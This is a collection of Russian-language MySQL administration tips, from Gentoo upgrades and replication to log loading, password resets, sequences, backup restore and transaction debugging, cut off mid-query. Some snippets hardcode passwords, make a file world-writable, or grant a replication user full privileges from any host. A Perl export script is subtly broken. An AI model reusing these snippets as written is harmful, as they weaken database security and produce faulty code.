       | b    | a    |
       +------+------+
       | aa   |    1 |
       | ab   |    2 |
       | ac   |    3 |
       | ad   |    4 |
       | ae   |    5 |
       | af   |    6 |
       | ag   |    7 |
       | ah   |    8 |
       +------+------+
    
    Делаем столбец ключом и автоинкрементом:
    
       mysql> alter table tTable change a a int key auto_increment;
    
    вид таблицы после изменения
    
       mysql> show columns from tTable;
       +-------+---------+------+-----+---------+----------------+
       | Field | Type    | Null | Key | Default | Extra          |
       +-------+---------+------+-----+---------+----------------+
       | b     | char(2) | YES  |     | NULL    |                |
       | a     | int(11) |      | PRI | NULL    | auto_increment |
       +-------+---------+------+-----+---------+----------------+
       2 rows in set (0.00 sec)
    
     
    ----* Как обновить MySQL 5.0 до MySQL 5.1 в Gentoo Linux (доп. ссылка 1)   Автор: Dennis Yusupoff  [комментарии]
     
    Возникла необходимость обновить MySQL 5.0 до MySQL 5.1 в Gentoo с минимальным перерывом в работе, 
    описываю свой опыт. Вполне допускаю, что будет для гуру банальностью, тем не
    менее, как "напоминалка"
    будет полезна. Хотя бы мне самому :)
    Основой послужили  статья Peter Davies'a и руководство MySQL Upgrading MySQL.
    
    1. Работа с пакетами
    
    Поскольку Gentoo считает, что версии 5.1 недостойны называться стабильными (хотя она уже довольно 
    давно является "релизной", в отличии от 5.4. см. планы развития веток MySQL),
    то они занесены в список исключений, т.н. "masked", так что при попытке
    установить их без вынесения
    из этого списка приведут к ошибке.
    
    Чтобы обойти это, нужно зарегистрировать эту версию MySQL в "список исключений
    из списка исключений" :)
    
       echo "=dev-db/mysql-community-5.1.21_beta" >> /etc/portage/package.unmask
    
    Если просто комментировать соответствующие строки в файле
    /usr/portage/profiles/package.mask, как это
    предлагает Питер, то при каждом обновлении пакета этот файл будет обновляться, с соответственным 
    удалением комментариев. Не совершайте такой ошибки, какую сделал я :)
    
    Gentoo у меня собран 64-битной версией, поэтому не обойтись без явного задания
    разрешения сборки MySQL
    под amd64. Для этого вносим соответствующую запись в очередной файл исключений:
    
       echo "dev-db/mysql-community ~amd64" >> /etc/portage/package.keywords
    
    и на всякий случай:
    
       echo "virtual/mysql ~amd64" >> /etc/portage/package.keywords
    
    Если просто выставить в командной строке ACCEPT_KEYWORDS="~amd64", то Gentoo не поймет, что такое 
    ключевое слово было выставлено при установке, и как итог, любое (авто-)обновление пакета 
    остановится с ошибкой "masked by: ~amd64".
    
    Думаете, что этого уже достаточно для установки? Ошибаетесь :) 
    Помните, что у нас ещё стоит версия 5.0? Так вот чтобы установить 5.1, нам надо
    сначала удалить 5.0.
    Явно не быстрое дело, а время простоя, напомню, критично. Поэтому вместо
    остановки работающего 5.0,
    его удаления и компиляции 5.1, лучше сделать хитрее и воспользоваться
    возможностью создания бинарных пакетов.
    Создам сначала бинарный пакет установленного mysql-5.0, чтобы в случае неудачи с 5.1 можно было 
    быстро откатится на предыдущую версию:
    
       quickpkg dev-db/mysql или emerge --verbose --buildpkg dev-db/mysql
    
    Затем подготовим нашу новую версию, создав бинарный пакет для последующей установки:
    
       emerge --verbose --ask --buildpkgonly =dev-db/mysql-community-5.1.21_beta
    
    Использование distcc и ccache обычно позволяет существенно уменьшить время компиляции. У меня при 
    использовании ccache и distcc на два сервера время сборки пакета mysql-5.0 уменьшилось на 35%.
    
    
    2. Создание архивной копии
    
    Почему идёт вторым шагом? Потому что операции, приведённые выше, по идее не
    должны вызывать никаких
    изменений в работающем MySQL, но занимают определённое количество времени, а терять изменения, 
    внесённые в БД за это время, не хочется.
    
    Делаете любым удобным для себя способом, хотя бы как это описывает Питер, через mysqldump, 
    архивирование директории с БД после её остановки или репликацию на другой сервер. 
    
    Поскольку для меня было важным минимальный перерыв, а настраивать репликацию я не хотел, 
    я воспользовался первым способом:
    
       mysqldump -A --opt --allow-keywords --flush-logs --hex-blob --master-data --max_allowed_packet=16M \
          --quote-names --default-character-set=CP1251 --single-transaction --result-file=BACKUP_MYSQL_5.0.SQL
    
    Единственное, что я хотел бы порекомендовать, это использовать помимо указанных Питером ключей, 
    ключ --single-transaction, который существенно ускоряет восстановление из бэкапа, 
    и ключ --default-character-set со значением "cp1251" для тех, у кого таблицы в
    cp1251, а не в UTF8,
    который выставляется при дампах по умолчанию. У меня бекап, созданный без этих
    ключей весил 4.6 Гб, с ключами - 4.1 Гб
    
    3. Обновление MySQL и таблиц
    
    Итак, пакеты и архивные копии готовы, предупреждаем тех.поддержку о возможных
    перебоях и приступаем:
    
    Останавливаем работающий MySQL:
    
       /etc/init.d/mysql stop 
    
    Удаляем MySQL 5.0:
    
       emerge --unmerge --verbose dev-db/mysql
    
    Устанавливаем бинарный пакет MySQL 5.1:
    
       emerge --usepkgonly --verbose =dev-db/mysql-community-
    5.1.21_beta.tbz2 
    
    Запускаем установленный MySQL 5.1:
       /etc/init.d/mysql start 
    
    Обновляем таблицы:
    
       mysql_upgrade --user=root --password=PASSWORD --default-character-set=cp1251 --verbose
    
    При удачном раскладе (объединяйте команды в конвейер с помощью "&&"!) это займёт меньше минуты. 
    Учтите, что опции сервера, указанные в  /etc/mysql/my.cnf, для 5.1 могут отличатся от 5.0! 
    Поэтому если сервер не стартует, смотрите tail /var/log/mysql/mysqld.err и исправляйте переменные. 
    Мне, скажем, пришлось терять время, пока я убирал "skip-bdb" и "skip-federated". К сожалению, я не 
    знаю другого способа проверить на совместимость файлы от 5.0 и 5.1, кроме как
    скурпулезного сравнения документации.
    
     
    ----* Синхронизация файлов и содержимого БД MySQL на резервный сервер (доп. ссылка 1)   Автор: neiro  [комментарии]
     
    Есть два сервера под Linux/FreeBSD: СУБД MySQL + некое приложение,
    задача - синхронизировать БД и данные.
    
    За синхронизацию данных MySQL отвечает mysql replication, данные
    синхронизируются с мастера на слейв.
    
    Делаем на мастере:
    
    в my.cnf добавляем строки
    
       log-bin = /var/log/mysql/mysql-bin.log
       binlog-do-db=databasename
       server-id=1
    
    перезагружаем MySQL, добавляем пользователя для репликации:
    
       GRANT ALL PRIVILEGES ON databasename.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
       FLUSH PRIVILEGES;
    
    далее выполняем команду:
    
       USE databasename;
       FLUSH TABLES WITH READ LOCK;
       SHOW MASTER STATUS;
    
    и вывод этой команды для нас важен, надо его куда-нибудь записать:
    
       | File | Position | Binlog_do_db | Binlog_ignore_db |
       | mysql-bin.001 | 10 | databasename | |
    
    теперь делаем дамп базы:
    
       mysqldump -u slave_user -pslave_password --opt databasename > databasename.dump
    
    и наконец убираем лок с базы в MySQL:
    
       UNLOCK TABLES;
    
    
    Теперь на слейве:
    
    Создаём базу:
    
       mysqladmin create databasename -p
    
    Востанавливаем базу из дампа:
    
       mysql -u slave_user -pslave_password databasename < databasename.dump
    
    в my.cnf добавляем строки:
    
       server-id=2
       master-host=XX.XX.XX.XX # IP адрес мастер-сервера
       master-user=slave_user
       master-password=slave_password
       master-connect-retry=60
       replicate-do-db=databasename
    
    перегружаем MySQL и добавляем чудесные данные из волшебной комманды:
    
       SLAVE STOP;
       CHANGE MASTER TO MASTER_HOST='XX.XX.XX.XX',
         MASTER_USER='slave_user', MASTER_PASSWORD='slave_password',
         MASTER_LOG_FILE='mysql-bin.001', MASTER_LOG_POS=10;
       START SLAVE;
    
    готово, теперь проверяем, добавляем запись в мастер, на слейве она должны отреплицироваться.
    
    Понятно, что изменять данные можно только на мастере, слейв работает только на чтение.
    
    
    Для синхронизации данных имеет смысл использовать rsync, очень интересный протокол/приложение. 
    Может синхронизировать инкрементально и с сжатием.
    На мастер сервере в rsyncd.conf добавляем:
    
       read only = yes # во избежание ;-)
       hosts allow = YY.YY.YY.YY # IP адрес слэйв-сервера
       [somelabel]
       path = /path/to/apllication/folder # где лежит приложение
       auth users = replica_user # юзер только для репликации в rsync, не системный пользователь
       secrets file = /path/to/rsync/rsync.secret # где лежит файл с паролем для replica_user, 
                                                  # только пароль и ничего больше
    
    на слейве - команда для синхронизации, можно добавить в cron с нужной периодичностью:
    
       /path/to/rsync -avz --exclude-from=/path/to/rsync.exclude \
         --password-file /path/to/rsync.secret \
         rsync://replica_user@XX.XX.XX.XX:873/somelabel /path/to/application
    
    где:
    rsync.exclude - файл в котором перечислены, какие файлы (конкретно или по
    маске) не синхронизировать
    rsync.secret - файл с секретным паролем для replica_user
    ХХ.ХХ.ХХ.ХХ - IP мастер-сервера, 873 - дефолтный порт для демона
    somelabel - метка из rsyncd.conf с мастера
    /path/to/application - путь куда класть данные.
    
     
    ----* Быстрй перенос лог-файлов в MySQL   Автор: Alexey Lazarev  [комментарии]
     
    Наверняка, каждый сталкивался с задачей переноса лог-файлов из текстовых файлов в различные БД. 
    И, наверняка, каждый столкнувшийся начинал писать собственные скрипты под это дело. 
    Причем большинство виденных мной скриптов основывались на построчном чтении/переносе данных. 
    Данный способ, конечно, хорош и имеет право на существование, но, к сожалению не очень быстр.
     Но в MySQL существует способ перенести данные из обычных текстовых файлов в БД 
    очень и очень быстро при помощи директивы LOAD DATA INFILE
    
    Пример такого скрипта:
    
    #!/bin/bash
    nld='/var/log/squid3'    # Путь к лог-файлам
    nbd='/opt/backup/squid3' # Путь к папке резервного хранения лог-файлов
    nrc=`squid3 -k rotate`   # Команда ротации лог-файлов для данного сервиса
    nlf='/var/log/logs2mysql/squid.log' # На всякий случай пишем что и когда делали
    
    mh='localhost' # Mysql host
    mu='root'      # Пользователь mysql
    mp='secret'    # Его пароль
    mb='logs'      # База данных
    mt='squid'     # Таблица
    
    echo `date +"%F %T"` "Начало выгрузки" >> $nlf && \
    
    $nrc && \
    for i in `ls $nld | grep access.log.`;
    do
        year=`date +"%Y"`
        month=`date +"%m"`
        day=`date +"%d"`
        prefix=`date +"%F-%H"`
        test -d $nbd/$year/$month/$day || mkdir -p $nbd/$year/$month/$day && \
        cat $nld/$i | sed -e 's/\"/\\\"/g' | sed -e "s/\'/\\\'/g" | \
          awk ' {print strftime("%F",$1),strftime("%T",$1),$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11} ' | \
          sed -e "s/ /\t/g" > $nld/prepare.log && \
        chmod 0777 $nld/prepare.log && \
        mysql -h $mh -u $mu -p$mp -e "LOAD DATA INFILE \"$nld/prepare.log\" REPLACE INTO TABLE $mb.$mt;" && \
        cat $nld/$i >> $nbd/$year/$month/$day/$prefix.log && rm $nld/$i && rm $nld/prepare.log 
    done
    echo `date +"%F %T"` "Конец выгрузки" >> $nlf
    
    Поля для таблицы ('Поле'-тип)
    
    'date'-date
    'time'-time
    'timestamp'-varchar(16)(разные сервисы пишут по разному.Кто-то с милисекундами, кто-то без)
    'elapsed'-int(20)
    'ip'-varchar(15)
    'code'-varchar(20)
    'size'-int(20)
    'method'-varchar(10)
    'url'-varchar(255)
    'user'-varchar(255)
    'direct'-varchar(25)
    'mime'-varchar(25)
    'hash'-varchar(255)unique
    
    C небольшими изменениями данный скрипт можно приспособить для обработки
    лог-файлов не только squid, но и других сервисов. Необходимое условие: 
    четкое разграничение полей (можно, поиграться с указанием разграничителей полей 
    в директиве LOAD DATA INFILE).
    К преимуществам данного скрипта можно отнести огромное быстродействие
    (п4-3,2 1024Мб ОЗУ 4млн. строк за 10-12 сек.).Также по последнему полю "hash" мы можем уникальным 
    образом идентифицировать строку (при анализе логов за год по squid и net-acct я не обнаружил 
    одинаковых строк).А также гарантированное попадание всех строк в БД
     (т.к. данные не удаляются при сбое mysql). 
    
     
    ----* Смена mysql пароля для пользователя debian-sys-maint. (доп. ссылка 1)   Автор: Heckfy  [комментарии]
     
    Столкнулся с тем, что система отказалась проапгрейдиться посредством apt, 
    так как не удается завершить демон mysql.
    Оказалось, что запуск и остановку демона делает пользователь базы данных debian-sys-maint.
    
    Пароль у него был заменен на что-то уже неизвестное, поэтому неоходимо было найти debian-way.
    
    В файле /etc/mysql/debian.cnf находится какой-то страшный набор символов. 
    Корректируем его, если есть желание, далее меняем пароль в базе. 
    Например, так:
    
       # killall mysqld
       # mysqld_safe --skip-grant-table
       ^Z
       # bg
       # mysql -u root
       > UPDATE mysql.user SET Password = PASSWORD( 'новый пароль' )
       WHERE user.Host = 'localhost' 
       AND user.User = 'debian-sys-maint';
       > exit
       # fg
       ^C
       # /etc/init.d/mysql start
    
    Теперь демон легко стартует, завершается, перезапускается.
    Автоматическое обновление системы снова может беречь мой сон.
    
     
    ----* Дамп больших InnoDB таблиц в MySQL (доп. ссылка 1)   Автор: ducea.com  [комментарии]
     
    При дампе больших (10 Gb) InnoDB таблиц в MySQL через mysqldump 
    на время операции таблица оказывается заблокированной.
    Для того чтобы избежать блокировки и нарушения целостности нужно использовать
    ключ  --single-transaction:
    
       mysqldump --single-transaction --quick very_large_db > bakup_of_db.sql
    
     
    ----* Пример работы с MySQL в bash скриптах   Автор: Luc!f3r  [комментарии]
     
    Пример1:
    
       password='Your_MySQL_Password'
    
       MYSQL_RESULT=`mysql -e "SELECT tables_col FROM table_name" -- 
       password="$password" database_name|grep -v tables_col|xargs|sed "s/ /\n/g"`
    
       for i in $MYSQL_RESULT; do
          echo $i
       done;
    
    Пример2:
    
       mysql -sse "SELECT col FROM table" -p"$password" database | while read i
       do
          echo $i
       done
    
    Комментарий 1: Пароль лучше передавать через переменную окружения MYSQL_PWD,
    чтобы он не светился в выводе ps.
    
    Комментарий 2 (от myhand):
    Другой вариант передача пароля через локальный файл конфигурации .my.cnf,
    размещенный в корне домашней директории пользователя:
    
    Пример .my.cnf:
    
    [client]
    user = имя_пользователя
    password = пароль
    host = хост_БД
    [mysql]
    database = имя_бд
    
     
    ----* Пример полнотекстового поиска в mySQL (доп. ссылка 1)   Автор: MEDBEDb  [обсудить]
     
    CREATE TABLE table (
                id INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY,
                column TEXT,
                FULLTEXT (column)
              );
    
    SELECT * FROM table WHERE MATCH (column) AGAINST ('информация');
     AGAINST ('форма содержание') - все выражения, содержащие хотя бы одно из слов.
     AGAINST ('+форма +содержание') - оба слова.
     AGAINST ('+форма содержание') - искать "форма", при "содержание" больший релевант.
     AGAINST ('+форма -содержание') - "форма" без "содержание".
     AGAINST ('форма*') - "форма", "формат", "формация"
     AGAINST ('"форма или содержание"') - жестко по фразе
    
     
    ----* Как в MySQL обеспечить правильную сортировку данных в кодировке cp1251.   [комментарии]
     
    MySQL должен быть собран с ключами:
       ./configure --with-charset=koi8_ru --with-extra-charsets=all
    Далее, сразу после каждого соединения с базой нужно использовать оператор:
        SET CHARACTER SET cp1251_koi8
    Если данные в cp1251 уже в базе, их нужно поместить в базу вновь.
    
     
    ----* Как сделать таблицу Exel из таблицы MySQL   Автор: Sergei A. Merkulov  [комментарии]
     
    #!/usr/local/bin/perl
    use DBI;
    $table = "table"; $db = "base"; $db_serv = "192.168.0.1"; $user = "ser"; $passwd = "ser";
    $c = DBI->connect("DBI:mysql:$db:$db_serv", $user, $passwd);
    $statement = "select count(*) from $table";
    $cc = $c->prepare($statement);
    $ccc = $cc->execute;
    @row = $cc->fetchrow_array;
    $n = $row[0];
    $statement = "select * from $table";
    $cc = $c->prepare($statement);
    $ccc = $cc->execute;
    open F, "$ARGV[0]";
    for ($i=0; $i<$n; $i++) {
      @row = $cc->fetchrow_array;
      print F "$row[0];$row[1];$row[3]\n";
    }
    Запускаем скрипт:
    ./mysql_2_exel.pl file
    После этого можно открыть файл 'file' экселем.
    
     
    ----* Как поместить время в формате Epoch в MySQL   [обсудить]
     
    from_unixtime(989493919)
    
     
    ----* Использование одного автоинкрементального счетчика для нескольких таблиц в MySQL (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Решение задачи сохранения единого для нескольких таблиц автоинкрементального счетчика. 
    
    Иными словами, как реализовать в MySQL аналог SEQUENCE в PostgreSQL, работающих примерно так:
    
       CREATE SEQUENCE next_contraсt start 1 increment 1 maxvalue 2147483647 minvalue 1 cache 1;
       CREATE TABLE contract (
        "id"  integer NOT NULL DEFAULT nextval('next_contraсt') PRIMARY KEY,
       ...
       );
    
    
    Метод 1. 
    
    Создаем таблицу:
    
       CREATE TABLE option1 (id int not null primary key auto_increment) engine=innodb;
    
    При необходимости получения очередного номера счетчика выполняем (фиктивная
    вставка данных, необходимая для срабатывания auto_increment):
    
       INSERT INTO option1 VALUES (NULL);
    
    Получаем текущее значение идентификатора через API-вызов $connection->insert_id(), например, в PHP:
    
       $last_id = mysql_insert_id();
    
    
    Метод 2:
    
    Создаем таблицу из одного столбца:
    
       CREATE TABLE option2 (id int not null primary key) engine=innodb;
    
    Инициализируем первое значение:
    
       INSERT INTO option2 VALUES (1); # начинаем последовательность с 1
    
    Для получения очередного значения счетчика выполняем:
    
       UPDATE option2 SET id=@id:=id+1;
       SELECT @id;
    
    По производительности первый метод заметно быстрее второго:
    
       Метод 1 с использованием транзакций: 19 сек на выполнение 10000 итераций
       Метод 1 без использования транзакций: 13 сек на выполнение 10000 итераций
       Метод 2 с использованием транзакций: 27 сек на выполнение 10000 итераций
       Метод 2 без использования транзакций: 22 сек на выполнение 10000 итераций
    
    Метод 3.
    
    Использовать функцию LAST_INSERT_ID(), которая возвращает последний
    сгенерированный через AUTO_INCREMENT на сервере идентификатор.
    
       UPDATE option3 SET id = LAST_INSERT_ID(id+1);
    
    Метод 4.
    
    Использование хранимых процедур и триггеров.
    
    Создаем таблицу sequences для хранения счетчика и функцию  nextval('seqname')
    для возвращения следующего номера:
    
       CREATE TABLE IF NOT EXISTS sequences
       (name CHAR(20) PRIMARY KEY,
       val INT UNSIGNED);
    
       DROP FUNCTION IF EXISTS nextval;
    
       DELIMITER //
    
       CREATE FUNCTION nextval (seqname CHAR(20))
       RETURNS INT UNSIGNED
       BEGIN
       INSERT INTO sequences VALUES (seqname,LAST_INSERT_ID(1))
       ON DUPLICATE KEY UPDATE val=LAST_INSERT_ID(val+1);
       RETURN LAST_INSERT_ID();
       END
       //
    
       DELIMITER ;
    
    Создаем тестовую таблицу data для последующего подключения генератора последовательности:
    
       CREATE TABLE IF NOT EXISTS data
       (id int UNSIGNED NOT NULL PRIMARY KEY DEFAULT 0,
       info VARCHAR(50));
    
    Создаем триггер для автоматизации инкрементирования счетчика в таблице data:
    
       DROP TRIGGER nextval;
       CREATE TRIGGER nextval BEFORE INSERT ON data
       FOR EACH ROW SET new.id=IF(new.id=0,nextval('data'),new.id);
       TRUNCATE TABLE data;
    
    Экспериментируем:
    
       INSERT INTO data (info) VALUES ('bla');
       INSERT INTO data (info) VALUES ('foo'),('bar');
       SELECT * FROM data;
    
       +----+------+
       | id | info |
       +----+------+
       |  1 | bla  |
       |  2 | foo  |
       |  3 | bar  |
       +----+------+
    
     
    ----* насчет "Как ограничить число элементов выдаваемых SELECT в MySQL"   Автор: Vovik Alyekhin  [обсудить]
     
    параметры limit действуют с точностью до наоборот.
    первый параметр с какой записи, а второй сколько.
    По крайней мере для mysql.
    MC: Интересно, для PostgreSQL: "LIMIT { count | ALL } [ { OFFSET | , } start ]]"
    
     

       Оптимизация и администрирование MySQL

    ----* Частичное восстановление данных MySQL из бэкапа, созданного с использованием LVM (доп. ссылка 1)   Автор: Андрей Татаранович  [комментарии]
     
    Я не буду описывать процесс создания резервной копии MySQL с применением
    менеджера томов LVM. В интернете хватает описаний этой методики. Предположим у
    вас уже есть бэкап, который содержит бинарные файлы баз данных. В моем случае
    они хранятся на выделенном сервере. Использование бинарных файлов позволяет
    быстро восстановить все базы на момент создания резервной копии, но вот что
    делать если нужно восстановить только часть баз или только одну, или же только
    пару таблиц или несколько удаленных записей из таблиц?
    
    Конечно можно поднять отдельный MySQL сервер на другом сервере, скопировать
    туда бэкап и после запуска вытащить из него нужные данные посредством
    mysqldump. Но что делать, если другого сервера нет или версия MySQL сервера
    содержит патчи, которые делают резервную копию несовместимой с дистрибутивной
    версией? Я постараюсь дать одно из возможных решений этой проблемы.
    
    В своем способе я также буду запускать отдельную копию MySQL сервера, но
    основная идея заключается в том, чтобы не копировать данные из бэкапа, а
    примонтировать их через сеть. Я буду использовать sshfs для этих целей. Чтобы
    при запуске второго сервера не изменились данные в бэкапе я применю оверлей на
    базе AUFS. Одна из его частей будет примонтированным бэкапом, а вторая -
    хранить все изменения относительно бэкапа. Таким образом я избегаю любых
    модификаций резервной копии.
    
       # mkdir /mnt/mysql-{backup,datadir,tmp}
       # sshfs root@backup.server:/backup/mysql-server /mnt/mysql-backup
       # mount -t aufs none /mnt/mysql-datadir -o dirs=/mnt/mysql-tmp:/mnt/mysql-backup=ro
       # mysqld_safe --defaults-file=/root/mysql-backup-restore.cnf
    
    /root/mysql-backup-restore.cnf - конфигурация для второго сервера, которую я
    сделал на базе конфига из дистрибутива.
    
       [mysqld]
       user=root
       pid-file        = /root/mysql-restore.pid
       socket          = /root/mysql-restore.sock
       basedir         = /usr
       datadir         = /mnt/mysql-datadir
       tmpdir          = /tmp
       language        = /usr/share/mysql/english
       skip-networking
       skip-external-locking
       key_buffer              = 16M
       max_allowed_packet      = 16M
       thread_stack            = 192K
       thread_cache_size       = 8
       myisam-recover         = BACKUP
       query_cache_limit       = 1M
       query_cache_size        = 16M
       expire_logs_days        = 10
       max_binlog_size         = 100M
       
       [mysqldump]
       quick
       quote-names
       max_allowed_packet      = 16M
       
       [isamchk]
       key_buffer              = 16M
       
       !includedir /etc/mysql/conf.d/
    
    После запуска вторая копия MySQL сервера доступна только через сокет
    /root/mysql-restore.sock, чем позволяет исключить посторонний доступ на время
    восстановления данных. Чтобы подключиться к запущенному серверу, нужно явно
    указать сокет:
    
       # mysql -S /root/mysql-restore.sock
       # mysqldump -S /root/mysql-restore.sock --add-drop-table dbname table1 table2 > dbrestore.sql
    
    После того, как данные сняты посредством mysqldump нужно остановить вторую
    копию сервера. Для этого нужно выполнить:
    
       # mysqladmin -S /root/mysql-restore.sock shutdown
    
    Когда дополнительный сервер остановится можно отмонтировать /mnt/mysql-datadir
    и /mnt/mysql-backup, и удалить директории /mnt/mysql-{backup,datadir,tmp}
    
    Несомненным преимуществом такого подхода является время, которое тратится на
    частичное восстановление резервной копии. Из недостатков пожалуй отсутствие
    sshfs и aufs во многих дистрибутивах (для centos я так и не смог найти пакета
    для добавления поддержки aufs). Возможно его следует заменить на любую другую
    реализацию union fs, но я это делать не пробовал.
    
     
    ----* Рекомендации по оптимальному использованию типов данных в MySQL   Автор: gara  [комментарии]
     
    Материал основан на рекомендациях, данных в книге "MySQL Оптимизация
    производительности", в которой подробно рассказано почему каждая рекомендация
    работает так, а не иначе. В заметке лишь приведены ключевые моменты, в стиле
    "Делайте так!". Все нижесказанное будет относиться к MySQL 5.1 и выше. Движок
    InnoDB. Для MyISAM также верно почти все нижесказанное.
    
    Прежде чем говорить о типах, рекомендация относительно NULL/ NOT
    NULL. Наличие флага NULL, увеличивает объем данных при хранении на диске.
    И немного нагружает индексы. Определяйте типы полей как NOT NULL, и указывайте
    DEFAULT VALUE. Большой выигрыш в производительности это не даст, но как
    говорится "Копейка рубль бережет".
    
    UUID  - удалите тире или преобразуйте в 16 байтовые числа UNHEX() и
    сохранить в столбце BIN(16). Извлекать данные в шестнадцатеричном формате можно
    с помощью MySQL функции HEX().
    
    IP адреса лучше всего хранить как UNSIGNED INT. И использовать MySQL
    функции INET_ATON() и INET_NTOA()
    
    Итак, наиболее часто  используются типы int, varchar/char, date/time, enum.
    
    
    Выбор оптимальных типов данных.
    
    1. INT -  все понятно, ничего интересного.
    
    2. CHAR / VARCHAR
    VARCHAR имеет переменную длину в файле. Занимает столько места сколько записано
    данных. При UPDATE если данных стало больше - выделяется место в другом месте
    файла. Это создает дополнительную нагрузку и является причиной фрагментации.
    Используйте VARCHAR если данные обновляются редко, либо используется сложная
    кодировка, например UTF-8. Идеально для хранения неизменяемых данных.
    
    CHAR  имеет фиксированную длину в файле. Фрагментация ему не страшна. CHAR
    полезен когда нужно хранить короткие строки приблизительно одинаковой длинны.
    Частое обновление не ведет к фрагментации. Идеален для хранение MD5 (CHAR(32)).
    
    Старайтесь использовать CHAR, сортировка по такому полю обходится сильно "дешевле". 
    
    3. DATETIME / TIMESTAMP - Используйте TIMESTAMP, он занимает на диске меньше места.
    
    4. ENUM 
    При создании таблицы:
       
       CREATE TABLE enum_test ( e ENUM('fish','dog','apple') NOT NULL);
    
    создается справочник-индекс в *.frm файле. И при последующих  INSERT/UPDATE в
    базу записывается номер(индекс) ENUM поля.
    
       INSERT INTO enum_test(e) VALUES ('fish'),('dog'),('apple');
       SELECT e + 0 FROM enum_test;
    
    вернет
    
       1
       3
       2
    
    И сортировка происходит (сюрприз) по этим целочисленным значениям :)
    
       SELECT e FROM enum_test ORDER BY e;
    
       fish
       apple
       dog
    
    Обойти это неудобство можно используя FIELD().
    
    Не используйте JOIN между CHAR/VARCHAR и ENUM.
    
     
    ----* Отладка долго выполняющихся транзакций в MySQL (доп. ссылка 1)   [комментарии]
     
    Включение лога долго выполняющихся запросов в MySQL (настройка
    log-slow-queries) не спасает при необходимости выявления транзакций,
    находящихся длительное время в незакрытом состоянии. Транзакции, внутри которых
    были изменены данные, но которые остаются висеть без коммита, достаточно трудно
    выявить и сопоставить с источником (в списке активных запросов по "SHOW
    PROCESSLIST" они не видны), в то время как они могут привести к разнообразным
    проблемам с блокировками и неудачному завершению других операций после
    истечения таймаута.
    
    Для отладки проблемы обычно определяют какая из транзакция блокирует остальные.
    Затем, определяется TCP-порт для проблемного соединения, запускается сниффер и
    используется утилита mk-query-digest для создания лога выполняемых запросов.
    
    В MySQL 5.1, при использовании InnoDB plugin, блокирующую транзакцию выявить
    значительно проще - поддерживаются специальные INFORMATION_SCHEMA таблицы,
    запросив которые можно определить идентификатор нити, обрабатывающей висящую
    транзакцию, после чего найти этот идентификатор в выводе "SHOW PROCESSLIST" и
    увидеть имя хоста и номер порта инициатора проблемы.
    
    В более ранних ветках MySQL и во встроенном движке  InnoDB (не InnoDB plugin)
    найти проблемное сетевое соединение не так просто, можно лишь субъективно
    оценить вывод "SHOW INNODB STATUS", выбрав старейшую транзакцию, находящуюся в
    статусе ожидания или блокировки. Иногда таким образом удается угадать
    проблемную транзакцию, а иногда - нет.
    
    Чтобы автоматизировать выявление проблемных транзакций написан небольшой
    скрипт, который запускается каждые 30 секунд, смотрит статус и находит
    проблемные позиции в списке. Для проблемных транзакций выявляется номер порта,
    запускается сниффер и сохраняется лог.
    
       #!/bin/bash
    
       # Begin by deleting things more than 7 days old
       find /root/tcpdumps/ -type f -mtime +7 -exec rm -f '{}' \;
    
       # Bail out if the disk is more than this %full.
       PCT_THRESHOLD=95
       # Bail out if the disk has less than this many MB free.
       MB_THRESHOLD=100
       # Make sure the disk isn't getting too full.
       avail=$(df -m -P /root/tcpdumps/ | awk '/^\//{print $4}');
       full=$(df -m -P /root/tcpdumps/ | awk '/^\//{print $5}' | sed -e 's/%//g');
       if [ "${avail}" -le "${MB_THRESHOLD}" -o "${full}" -ge "${PCT_THRESHOLD}" ]; then
          echo "Exiting, not enough free space (${full}%, ${avail}MB free)">&2
          exit 1
       fi
    
       host=$(mysql -ss -e 'SELECT p.HOST FROM information_schema.innodb_lock_waits w INNER JOIN
          information_schema.innodb_trx b ON b.trx_id = w.blocking_trx_id INNER JOIN information_schema.processlist p 
          on b.trx_mysql_thread_id = p.ID LIMIT 1')
    
       if [ "${host}" ]; then
          echo "Host ${host} is blocking"
          port=$(echo ${host} | cut -d: -f2)
          tcpdump -i eth0 -s 65535 -x -nn -q -tttt port 3306 and port ${port} > /root/tcpdumps/`date +%s`.tcpdump &
          mysql -e 'show innodb status\Gshow full processlist' > /root/tcpdumps/`date +%s`.innodbstatus
          pid=$!
          sleep 30
          kill ${pid}
       fi
    
    
    Посмотрев лог ".innodbstatus" и убедившись, что это не ложное срабатывание,
    проанализировать активность связанного с незакрываемой транзакцией соединения
    можно выполнив команду:
    
      mk-query-digest --type=tcpdump --no-report --print файл.tcpdump
    
    В  mk-query-digest также удобно использовать опцию --timeline, отображающую
    последовательность запросов в наглядном виде. Утилита mk-query-digest
    поставляется в пакете maatkit.
    
     
    ----* Расширенный анализ эффективности индексов в MySQL (доп. ссылка 1)   [комментарии]
     
    Для детального анализа особенностей использования индексов в MySQL удобно
    использовать утилиту mk-index-usage, входящую в пакет Maatkit (написан на
    языке Perl). По умолчанию утилита выявляет неиспользуемые индексы и предлагает
    готовые конструкции ALTER для их удаления.
    
    Дополнительно утилита может сохранять накопленную статистику по использованию
    индексов при реальной рабочей нагрузке и сохранять ее в виде SQL-таблиц для
    последующего анализа. В качестве источника используется лог запросов,
    включаемых опцией log-slow-queries или general_log.
    
    Простейший формат вызова выглядит как:
    
      mk-index-usage slow.log --host localhost
    
    При этом утилита построит детальный отчет на основе выполнения EXPLAIN-операции
    для каждого фигурирующего в логе запроса. Так как это достаточно ресурсоемкая
    операция, рекомендуется запустить на отдельной машине тестовый MySQL-сервер,
    перенести туда дамп анализируемой базы и лог медленных запросов, после чего
    выполнять анализ не на первичном сервере, а на его копии:
    
       mk-index-usage -h 127.0.0.1 -P 9999 -p XXXX slow_query.log \
      --save-results-database h=127.0.0.1,P=12345,u=msandbox,p=msandbox,D=index_usage \
      --create-save-results-database
    
    В данном случае параметр "--save-results-database" определяет в какую базу
    сохранять результаты анализа.
    
    После выполнения указанной команды в базе index_usage появятся следующие таблицы:
    
       mysql> show tables;
    
       | index_alternatives    |
       | index_usage           |
       | indexes               |
       | queries               |
       | tables                |
    
    Несколько примеров просмотра статистики.
    
    Посмотрим какие запросы используют время от времени используют разные индексы и
    как выбранный индекс коррелирует с временем выполнения запроса:
    
       SELECT  iu.query_id, CONCAT_WS('.', iu.db, iu.tbl, iu.idx) AS idx,
          variations, iu.cnt, iu.cnt / total_cnt * 100 AS pct
         FROM index_usage AS iu
        INNER JOIN (
